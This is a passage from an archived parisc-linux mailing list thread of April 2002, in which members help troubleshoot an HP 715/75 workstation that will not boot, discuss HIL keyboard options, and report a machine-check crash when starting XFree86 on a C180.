	by dsl2.external.hp.com (Postfix) with ESMTP id 2165E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 11:16:58 -0600 (MDT)
Original-Received: from mustang ([24.126.132.94]) by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020410171651.SJMM21252.rwcrmhc53.attbi.com@mustang>;
          Wed, 10 Apr 2002 17:16:51 +0000
In-Reply-To: <20020410120239.E20344@volta.midco.net>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14564

No, I have never seen this box run anything.  It was sitting in the
downstairs "lab", and the prof brought it up to the classroom to test
it, maybe use as a print server.  But he never hooked it up... I guess
we should have.  But he had to teach the class.  The others are all in
use so he probably can't give me a different one.

I suppose there is no way to just tell it to reconfigure and stop
searching for hardware that might not be there?


On Wed, 2002-04-10 at 10:02, Jonathan Crockett wrote:
> My box came with a HIL to ps2 converter box thingy that has a PS2 keyboard
> port, a PS2 mouse port and a HIL port on it.  When I changed things around
> the machine had to think for a long time, before video came up.
> I take it that you have seen this machine run an OS?  If not in it's previous
> life it may have had a piece of hardware that is no longer there and it is
> searching for it.  Also I have always had a odd thing with the number lock
> light on PS2 keyboards and 715s.  If they are working correctly it doesn't
> light up, but if there is a problem it is light and stays lit.
> 
> Hopefully this sheds some light for you.
> jc
> 
> On Wed, Apr 10, 2002 at 09:48:30AM -0700, Matt McKenzie wrote:
> > Hmmm.  I have a HIL mouse and kb with it.  This model doesn't have ps/2
> > ports so I can't change the kb.  I can put a serial mouse on it.
> > But I have no idea what it had attached to it before.  I am assuming it
> > was HIL kb and mouse but I can't be sure.
> > 
> > We got a batch of HP workstations donated to the school from a local
> > company.  Many are in use in a lab, being used as X terminals logged
> > into Sun servers.  But the actual classroom lab now has mostly all Suns
> > so the HPs aren't used much.  
> > 
> > I am also not sure of the state of the hard drives.  There are (2) 9g
> > scsi IIRC.  I don't know if HP-UX is even still on there or anything. 
> > But you would think it would at least come up with a prompt of some sort
> > even if HP-UX was wiped.
> > 
> > This machine doesn't have any add-on cards, no floppy or internal CD or
> > anything.  I do have an external 2x scsi cd I can use with it but I
> > haven't hooked it up yet.
> > 
> > With your problem did the screen stay blank?
> > 
> > I will try with the serial mouse.  Thanks for the suggestion.
> > 
> > 
> > On Wed, 2002-04-10 at 06:24, Jonathan Crockett wrote:
> > > Hello,
> > >   I have a 715/100 that had very similiar symptoms.  I have HP-UX on it
> > > then installed debian.  After I had the base installed I moved the machine
> > > and in a not so brilliant move added an external cdrom and changed keyboards
> > > and mouse.  The system sat there and acted like it was having a very difficult
> > > time coming to terms with the changes.  To fix it, swapped out the HIL mouse
> > > that I had switch to with a ps2 three button mouse and took the external
> > > cdrom off the scsi chain.  I let it sit for about 20 minute to a half hour
> > > then it decided to boot.  I also found that I could not use the on board
> > > video after I had used the addon card.  I even disconnect the addon card,
> > > but it made no difference.
> > > 
> > > HTH
> > > jc
> > > 
> > > On Tue, Apr 09, 2002 at 11:22:07PM -0700, Matt McKenzie wrote:
> > > > I posted a while earlier, but no response has been forthcoming.
> > > > 
> > > > Does anyone have any idea what I can do so solve my problem with an HP
> > > > 715/75, that displays the LEDs 1,2,6 on the front panel at power-up? 
> > > > I have an HP monitor with it, and it stays blank.
> > > > 
> > > > The manual, if I'm reading it correctly, says the LEDs mean:
> > > > 
> > > > Internal inconsistency: IODC Entry_Init
> > > > 
> > > > But there is no mention of what this means exactly, or what to do about
> > > > it.  
> > > > 
> > > > What can I do to resolve this, if possible?
> > > > 
> > > > I would very much like to put Linux on this machine.
> > > > 
> > > > It seems to me hardware questions aren't off-topic... does this just
> > > > mean no one knows how to fix this?  Or is it because I have no
> > > > transcript or logs to post (because the monitor is blank I can't see
> > > > anything)?
> > > > 
> > > > Would it be possible to get a serial console working to see anything?
> > > > I am guessing a standard RS232 Null-modem cable would work?
> > > > 
> > > > Also, I have the AUI-10bT ethernet transceiver, but I don't know if it
> > > > has a valid static IP, or if it is trying DHCP lookup.
> > > > 
> > > > Any help would be appreciated.
> > > > 
> > > > Thanks.
> > > > 
> > > > 
> > > > -- 
> > > > 73 de K6LNX
> > > > 
> > > > Matt M.
> > > > LinuxKnight
> > > > 
> > > > 
> > > > _______________________________________________
> > > > parisc-linux mailing list
> > > > parisc-linux@lists.parisc-linux.org
> > > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > 
> > > -- 
> > > Jonathan Crockett
> > > Network Engineer
> > > Midcontinent Communications
> > > 
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > -- 
> > 73 de K6LNX
> > 
> > Matt M.
> > LinuxKnight
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> -- 
> Jonathan Crockett
> Network Engineer
> Midcontinent Communications
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-- 
73 de K6LNX

Matt M.
LinuxKnight




From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: Wed, 10 Apr 2002 10:18:40 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020410101840.A7488@zouave.sonic.net>
References: <1018419728.2603.13.camel@mustang> <20020410082456.A20344@volta.midco.net> <1018457310.3772.8.camel@mustang> <20020410120239.E20344@volta.midco.net>
Reply-To: frankb@efball.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621229 6176 80.91.229.3 (22 Nov 2014 01:53:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:49 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 11:18:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56911482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 11:18:43 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id D999466D9
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 10:18:41 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id E4BDDA3; Wed, 10 Apr 2002 10:18:40 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20020410120239.E20344@volta.midco.net>; from jcrockett@midco.net on Wed, Apr 10, 2002 at 12:02:39PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14565

On Wed, Apr 10, 2002 at 12:02:39PM -0500, Jonathan Crockett wrote:
} My box came with a HIL to ps2 converter box thingy that has a PS2 keyboard
} port, a PS2 mouse port and a HIL port on it.  When I changed things around

Only the 715/64, 80, and 100 came with the HIL/PS2 keyboard thingy.
715/33, 50, and 75 can only use HIL keyboards.  I've never seen a serial
mouse on a HP-UX box that didn't require a separate driver from the
vendor.

-- 

   E Frank Ball                frankb@efball.com



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Crockett <jcrockett@midco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: Wed, 10 Apr 2002 12:22:03 -0500
Lines: 162
Approved: news@gmane.org
Message-ID: <20020410122203.G20344@volta.midco.net>
References: <1018419728.2603.13.camel@mustang> <20020410082456.A20344@volta.midco.net> <1018457310.3772.8.camel@mustang> <20020410120239.E20344@volta.midco.net> <1018459011.3804.12.camel@mustang>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621229 6178 80.91.229.3 (22 Nov 2014 01:53:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:49 +0000 (UTC)
Cc: Jonathan Crockett <jcrockett@midco.net>,
	PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Matt McKenzie <linuxknight@attbi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 11:22:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from volta.midco.net (volta.midco.net [24.220.1.10])
	by dsl2.external.hp.com (Postfix) with SMTP id D5226482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 11:22:03 -0600 (MDT)
Original-Received: (qmail 20366 invoked by uid 2872); 10 Apr 2002 17:22:03 -0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1018459011.3804.12.camel@mustang>; from linuxknight@attbi.com on Wed, Apr 10, 2002 at 10:16:30AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14566

I just had to let mine run for about 30 minutes.  Leave it on before you
go home and see if it still is the same when you come back in the morning.
The other alternative is to start removing everything one at a time and see
if it comes up.  Drives, memory that sort of thing.  Also try not plugging
in any keyboard/mouse etc.
Good luck!
jc

On Wed, Apr 10, 2002 at 10:16:30AM -0700, Matt McKenzie wrote:
> No, I have never seen this box run anything.  It was sitting in the
> downstairs "lab", and the prof brought it up to the classroom to test
> it, maybe use as a print server.  But he never hooked it up... I guess
> we should have.  But he had to teach the class.  The others are all in
> use so he probably can't give me a different one.
> 
> I suppose there is no way to just tell it to reconfigure and stop
> searching for hardware that might not be there?
> 
> 
> On Wed, 2002-04-10 at 10:02, Jonathan Crockett wrote:
> > My box came with a HIL to ps2 converter box thingy that has a PS2 keyboard
> > port, a PS2 mouse port and a HIL port on it.  When I changed things around
> > the machine had to think for a long time, before video came up.
> > I take it that you have seen this machine run an OS?  If not in it's previous
> > life it may have had a piece of hardware that is no longer there and it is
> > searching for it.  Also I have always had a odd thing with the number lock
> > light on PS2 keyboards and 715s.  If they are working correctly it doesn't
> > light up, but if there is a problem it is light and stays lit.
> > 
> > Hopefully this sheds some light for you.
> > jc
> > 
> > On Wed, Apr 10, 2002 at 09:48:30AM -0700, Matt McKenzie wrote:
> > > Hmmm.  I have a HIL mouse and kb with it.  This model doesn't have ps/2
> > > ports so I can't change the kb.  I can put a serial mouse on it.
> > > But I have no idea what it had attached to it before.  I am assuming it
> > > was HIL kb and mouse but I can't be sure.
> > > 
> > > We got a batch of HP workstations donated to the school from a local
> > > company.  Many are in use in a lab, being used as X terminals logged
> > > into Sun servers.  But the actual classroom lab now has mostly all Suns
> > > so the HPs aren't used much.  
> > > 
> > > I am also not sure of the state of the hard drives.  There are (2) 9g
> > > scsi IIRC.  I don't know if HP-UX is even still on there or anything. 
> > > But you would think it would at least come up with a prompt of some sort
> > > even if HP-UX was wiped.
> > > 
> > > This machine doesn't have any add-on cards, no floppy or internal CD or
> > > anything.  I do have an external 2x scsi cd I can use with it but I
> > > haven't hooked it up yet.
> > > 
> > > With your problem did the screen stay blank?
> > > 
> > > I will try with the serial mouse.  Thanks for the suggestion.
> > > 
> > > 
> > > On Wed, 2002-04-10 at 06:24, Jonathan Crockett wrote:
> > > > Hello,
> > > >   I have a 715/100 that had very similiar symptoms.  I have HP-UX on it
> > > > then installed debian.  After I had the base installed I moved the machine
> > > > and in a not so brilliant move added an external cdrom and changed keyboards
> > > > and mouse.  The system sat there and acted like it was having a very difficult
> > > > time coming to terms with the changes.  To fix it, swapped out the HIL mouse
> > > > that I had switch to with a ps2 three button mouse and took the external
> > > > cdrom off the scsi chain.  I let it sit for about 20 minute to a half hour
> > > > then it decided to boot.  I also found that I could not use the on board
> > > > video after I had used the addon card.  I even disconnect the addon card,
> > > > but it made no difference.
> > > > 
> > > > HTH
> > > > jc
> > > > 
> > > > On Tue, Apr 09, 2002 at 11:22:07PM -0700, Matt McKenzie wrote:
> > > > > I posted a while earlier, but no response has been forthcoming.
> > > > > 
> > > > > Does anyone have any idea what I can do so solve my problem with an HP
> > > > > 715/75, that displays the LEDs 1,2,6 on the front panel at power-up? 
> > > > > I have an HP monitor with it, and it stays blank.
> > > > > 
> > > > > The manual, if I'm reading it correctly, says the LEDs mean:
> > > > > 
> > > > > Internal inconsistency: IODC Entry_Init
> > > > > 
> > > > > But there is no mention of what this means exactly, or what to do about
> > > > > it.  
> > > > > 
> > > > > What can I do to resolve this, if possible?
> > > > > 
> > > > > I would very much like to put Linux on this machine.
> > > > > 
> > > > > It seems to me hardware questions aren't off-topic... does this just
> > > > > mean no one knows how to fix this?  Or is it because I have no
> > > > > transcript or logs to post (because the monitor is blank I can't see
> > > > > anything)?
> > > > > 
> > > > > Would it be possible to get a serial console working to see anything?
> > > > > I am guessing a standard RS232 Null-modem cable would work?
> > > > > 
> > > > > Also, I have the AUI-10bT ethernet transceiver, but I don't know if it
> > > > > has a valid static IP, or if it is trying DHCP lookup.
> > > > > 
> > > > > Any help would be appreciated.
> > > > > 
> > > > > Thanks.
> > > > > 
> > > > > 
> > > > > -- 
> > > > > 73 de K6LNX
> > > > > 
> > > > > Matt M.
> > > > > LinuxKnight
> > > > > 
> > > > > 
> > > > > _______________________________________________
> > > > > parisc-linux mailing list
> > > > > parisc-linux@lists.parisc-linux.org
> > > > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > > 
> > > > -- 
> > > > Jonathan Crockett
> > > > Network Engineer
> > > > Midcontinent Communications
> > > > 
> > > > _______________________________________________
> > > > parisc-linux mailing list
> > > > parisc-linux@lists.parisc-linux.org
> > > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > -- 
> > > 73 de K6LNX
> > > 
> > > Matt M.
> > > LinuxKnight
> > > 
> > > 
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> > -- 
> > Jonathan Crockett
> > Network Engineer
> > Midcontinent Communications
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> -- 
> 73 de K6LNX
> 
> Matt M.
> LinuxKnight
> 

-- 
Jonathan Crockett
Network Engineer
Midcontinent Communications



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Crockett <jcrockett@midco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: Wed, 10 Apr 2002 12:23:45 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20020410122345.H20344@volta.midco.net>
References: <1018419728.2603.13.camel@mustang> <20020410082456.A20344@volta.midco.net> <1018457310.3772.8.camel@mustang> <20020410120239.E20344@volta.midco.net> <20020410101840.A7488@zouave.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621229 6179 80.91.229.3 (22 Nov 2014 01:53:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:49 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: E Frank Ball <frankb@efball.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 11:23:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from volta.midco.net (volta.midco.net [24.220.1.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 922E4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 11:23:46 -0600 (MDT)
Original-Received: (qmail 21836 invoked by uid 2872); 10 Apr 2002 17:23:45 -0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020410101840.A7488@zouave.sonic.net>; from frankb@efball.com on Wed, Apr 10, 2002 at 10:18:40AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14567

On Wed, Apr 10, 2002 at 10:18:40AM -0700, E Frank Ball wrote:
> On Wed, Apr 10, 2002 at 12:02:39PM -0500, Jonathan Crockett wrote:
> } My box came with a HIL to ps2 converter box thingy that has a PS2 keyboard
> } port, a PS2 mouse port and a HIL port on it.  When I changed things around
> 
> Only the 715/64, 80, and 100 came with the HIL/PS2 keyboard thingy.
> 715/33, 50, and 75 can only use HIL keyboards.  I've never seen a serial
> mouse on a HP-UX box that didn't require a separate driver from the
> vendor.
Is there more than one HIL port on the 33/50/75 models?

-- 
Jonathan Crockett
Network Engineer
Midcontinent Communications



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ing. Peter Hans Strohmayer" <office@stromi.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 on C180 with HPMC
Date: Wed, 10 Apr 2002 20:18:45 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <000301c1e0bc$276e5460$c8cca8c0@stromi.at>
Reply-To: <office@stromi.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621230 6190 80.91.229.3 (22 Nov 2014 01:53:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 12:18:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from majestix.stromi.at (212186002109.11.vie.surfer.at [212.186.2.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CACC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 12:18:55 -0600 (MDT)
Original-Received: from miraculix (miraculix.stromi.at [192.168.204.200])
	by majestix.stromi.at -  with SMTP id g3AIIkL03857
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 20:18:47 +0200
X-Authentication-Warning: majestix.stromi.at: Host miraculix.stromi.at [192.168.204.200] claimed to be miraculix
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14568

Hello,

i have installed the isoimage 0.93 and then made a update of
the packages via apt/dselect. I choosed the kernel 2.4.17-32.

When i am starting xdm or gdm the machines works a little bit
and then i get the following message:

High Priority Machine Check (HPMC): Code=1 regs=102f3080 (Addr=00000000)

I do not know if i need a package or made a mistake, i have no
gpm running and i tested it with and without the fontserver xfs.

What should i do?

Machinetype: C180, 1.5GB RAM, 9GB HDD for Debian and 4GB for HPUX11

Greetings,
Peter

Ing. Peter Hans Strohmayer

+ mailto: office@stromi.at
( +43 1 95 230 42
( +43 699 195 230 42




From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: Wed, 10 Apr 2002 20:18:54 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020410201854.C27473@parcelfarce.linux.theplanet.co.uk>
References: <1018419728.2603.13.camel@mustang> <20020410082456.A20344@volta.midco.net> <1018457310.3772.8.camel@mustang> <20020410120239.E20344@volta.midco.net> <20020410101840.A7488@zouave.sonic.net> <20020410122345.H20344@volta.midco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621230 6192 80.91.229.3 (22 Nov 2014 01:53:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:50 +0000 (UTC)
Cc: E Frank Ball <frankb@efball.com>,
	PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Jonathan Crockett <jcrockett@midco.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 13:18:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE218482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 13:18:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16vNcM-0001Wz-00; Wed, 10 Apr 2002 20:18:54 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020410122345.H20344@volta.midco.net>; from jcrockett@midco.net on Wed, Apr 10, 2002 at 12:23:45PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14569

On Wed, Apr 10, 2002 at 12:23:45PM -0500, Jonathan Crockett wrote:
> Is there more than one HIL port on the 33/50/75 models?

No, but you can daisy-chain HIL devices or use a splitter box.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Thu, 11 Apr 2002 13:58:24 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <1018526304.3cb57a60c2731@webmail.tiscalinet.be>
References: <200204081608.g38G8FB4020947@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621230 6194 80.91.229.3 (22 Nov 2014 01:53:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:50 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 11 05:59:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CE93482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Apr 2002 05:59:22 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16vdDl-0004t2-00; Thu, 11 Apr 2002 13:58:33 +0200
In-Reply-To: <200204081608.g38G8FB4020947@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14570

Hi Dave,

